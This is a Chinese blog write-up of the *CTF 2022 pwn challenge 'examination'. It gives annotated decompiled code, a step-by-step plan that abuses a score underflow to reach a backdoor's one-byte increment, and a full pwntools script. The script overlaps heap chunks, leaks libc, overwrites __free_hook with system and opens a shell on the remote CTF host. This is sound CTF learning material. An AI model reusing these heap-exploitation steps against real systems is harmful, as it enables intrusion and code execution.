[*CTF 2022 pwn] examination

抽空参加个比赛,水平有限只作了一道题,但还是要记录一下,毕竟好多人还0解呢。学渣的逆袭。

英文写的是ret2shool 这个跟ret2XXX的没关系。

代码长了读程序就麻烦,慢慢读把函数功能整理如下(叫法随个人理解,英文看单词不认识):

  1. 教师菜单
    1. 增加学生:增加一个学生结构,管理块chunk :0x28含指向成绩单:stud{ptr_s,0,0,0,0} 成绩单chunk:0x18含学生评级,成绩,评价指针,评价长度 s{int idx,int score, ptr_prv,int x,int prv_size} ,评价chunk这个块大小可定义
    2. 给学生打分:按学生评级(1-9)给每个学生打分,打分规则为随机数%(评级*10),如果出去玩-10
    3. 给学生写评语:增加评语块可定义,如已存在则修改评语
    4. 叫家长开除:free所有块,清理指针
    5. 切换教师/学生身份
  2. 学生菜单
    1. 显示评价/后门函数:当学生超过89分(正常不可能,因为%90最大89)可以显示chunk地址并允许给任意地址加1
    2. 出去玩:出去玩标记^1
    3. 不详
    4. 切换教师/学生身份
    5. 切换学生编号

刚开始以为切换学生编号有前越界以为这里是出口,由于学生管理块->成绩单->评语这样找不到适当的指针,而且got全保护,所以方向不正确。

需要解决的问题:

  1. 只有评语块大小可定义,但小于0x400不能释放到unsort需要要修改
  2. calloc分配块,分配后清0
  3. 没有写溢出、UAF和未初始化变量

漏洞:回到显示评价这里,这里显然是个后门。他实现泄露地址和任意地址修改,但不可能有正常学生得到90分。

unsigned __int64 __fastcall student_m2_checkreview(int a1)
{
  _BYTE *v1; // rax
  char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( *(_DWORD *)(qword_5080[a1] + 28LL) == 1 )
  {
    puts("already gained the reward!");
  }
  else
  {
    if ( *(_DWORD *)(*(_QWORD *)qword_5080[a1] + 4LL) > 0x59u )// 90以上会泄露堆地址 学生级别为1时,学生设置贪玩标记,再回到教师界面打分,随机数会小于10再因贪玩减10分,形成负数,在checkreview时到这里泄露堆地址,可以指定一个位置加1
    {
      printf("Good Job! Here is your reward! %p\n", (const void *)qword_5080[a1]);
      printf("add 1 to wherever you want! addr: ");
      sub_13D5(0, nptr, 16);
      v1 = (_BYTE *)atol(nptr);
      ++*v1;
      *(_DWORD *)(qword_5080[a1] + 28LL) = 1;
    }
    if ( *(_QWORD *)(*(_QWORD *)qword_5080[a1] + 8LL) )
    {
      puts("here is the review:");
      write(1, *(const void **)(*(_QWORD *)qword_5080[a1] + 8LL), *(int *)(*(_QWORD *)qword_5080[a1] + 16LL));
    }
    else
    {
      puts("no reviewing yet!");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

但是怎么让分数超过89呢。这个教师评分模块有问题,当学生本来就是学渣再出去玩就会被打负分实现逆袭。

unsigned __int64 teacher_m2_score()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("marking testing papers.....");
  for ( i = 0; i < dword_503C; ++i )
  {
    if ( read(fd, buf, 8uLL) != 8 )
    {
      puts("read_error");
      exit(-1);
    }
    buf[0] &= 0x7Fu;
    v2 = buf[0] % (10 * **(_DWORD **)qword_5080[i]);// id=1 +24==1 -10  得负数
    printf("score for the %dth student is %d\n", i, v2);
    if ( *(_DWORD *)(qword_5080[i] + 24LL) == 1 )
    {
      puts("the student is lazy! b@d!");
      v2 -= 10;
    }
    *(_DWORD *)(*(_QWORD *)qword_5080[i] + 4LL) = v2;
  }
  puts("finish");
  return __readfsqword(0x28u) ^ v4;
}

出去玩问题很容易

int __fastcall student_m3pray(int a1)
{
  puts("prayer...Good luck to you");
  *(_DWORD *)(qword_5080[a1] + 24LL) ^= 1u;
  return puts("finish");
}

 

那这个流程就基本清楚了:

  1. 教师身份登录
  2. 添加一个学生0,添加学生固定为学渣
  3. 写评价(构造一个指定尺寸的chunk 0x380,回头修改他实现unsort和重叠)
  4. 添加第2个学生1
  5. 给第2个学生写评语,将来第1个学生的评价扩大后覆盖到这里把unsort的main_arena指针挤到这,实现libc地址泄露,由于题目的libc版本是2.31对前后都有检查,所以学生0的评语块扩大后要正好能覆盖整个学生2,这里学生0的评语块头从0x391改为0x491时,学生1的评语块为0xa0
  6. 添加第3个学生用于分隔top_chunk
  7. 切换到学生
  8. 选择学生0
  9. 出去玩
  10. 切换回教师
  11. 给学生评分(出现负分,溢出)
  12. 切换回学生
  13. 选择学生0
  14. 看评语,这里执行后门显示堆地址,在这个地址0x49的偏移处加1(0x391的3改为4,大于0x430释放时可进入unsort,并连同学生1整个覆盖)
  15. 切换回教师
  16. 开除学生0
  17. 添加学生0(从unsort中切出0x30+0x20)
  18. 给学生2写评语0x388 这里由于分配块时用的都是calloc分清0,而这个块覆盖了学生1的管理块为成绩单,所以要恢复学生1的分部信息(指针)
  19. 切回学生
  20. 选择学生1
  21. 显示评语,得到main_arena指针得到libc,大功基本完成,由于这里泄露了指针得到libc,而学生1的评语指针又是可控的,可以通过这个指针实现任意地址写。按常规大路,选择写__free_hook为system实现getshell
  22. 切换回教师
  23. 修改学生2的评语(重写学生1结构,将指向评语的指针改为__free_hook,并同时预存一个/bin/sh\0
  24. 修改学生1的评语(在__free_hook写system)
  25. 开除学生2得到shell

思路完成代码就是小case了

from pwn import *

local = 0
if local == 1:
    p = process('./examination')
    libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('124.70.130.92', 60001) 
    libc_elf = ELF('./libc-2.31.so')

elf = ELF('./examination')
context.arch = 'amd64'

def select_role(i):
    p.sendlineafter(b"role: <0.teacher/1.student>: ", str(i).encode())

menu = b"choice>> "    
def t_add():
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"enter the number of questions: ", b'1')

def t_score():
    p.sendlineafter(menu, b'2')

def t_comm_new(idx, size, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"which one? > ", str(idx).encode())
    p.sendlineafter(b"please input the size of comment: ", str(size).encode())
    p.sendafter(b"enter your comment:", msg)
    
def t_comm_old(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"which one? > ", str(idx).encode())
    p.sendafter(b"enter your comment:", msg)

def t_free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"which student id to choose?", str(idx).encode())

def t_role(role):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"role: <0.teacher/1.student>: ", str(role).encode())

def s_backdoor(off):
    p.sendlineafter(menu, b'2')
    p.recvuntil(b'Good Job! Here is your reward! ')
    base = int(p.recvline(), 16)
    print('heap:', hex(base))
    p.sendlineafter(b"add 1 to wherever you want! addr: ", str(base+off).encode().ljust(15, b' '))
    return base

def s_show():
    p.sendlineafter(menu, b'2')
    
def s_play():
    p.sendlineafter(menu, b'3')

def s_id(idx):
    p.sendlineafter(menu, b'6')
    p.sendlineafter(b"input your id: ", str(idx).encode())


select_role(0) #teacher

t_add() #0
t_comm_new(0, 0x380, b'B'*8)  
t_add()  #1
t_comm_new(1, 0xa0, b'c')  
t_add()  #2
t_role(1) #to student
s_id(0)
s_play()  #play = 1
t_role(0) #to teacher
t_score()
t_role(1) #to student
s_id(0)
base = s_backdoor(0x49)

t_role(0) #to teacher
t_free(0) #unsort 0x490 over #2

context.log_level = 'debug'

t_add()
t_comm_new(2, 0x388, b'\0'*0x338+ flat(0x31, base+0x410,0,0,0,0,0x21,1,base+0x430,0xa0))  #1

t_role(1) #to student
s_id(1)
s_show()
p.recvline()

libc_base = u64(p.recv(8)) -0x60 - 0x10 - libc_elf.sym['__malloc_hook']
print(hex(libc_base))
libc_elf.address = libc_base

t_role(0) #to teacher
t_comm_old(2, b'/bin/sh\0' + b'\0'*0x330+ flat(0x31, base+0x410,0,0,0,0,0x21,1,libc_elf.sym['__free_hook'],8))  #1
t_comm_old(1, p64(libc_elf.sym['system']))  #1
t_free(2)

p.interactive()

#*ctf{ret2sch00l_ret2examination_0nce_ag@1n!}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值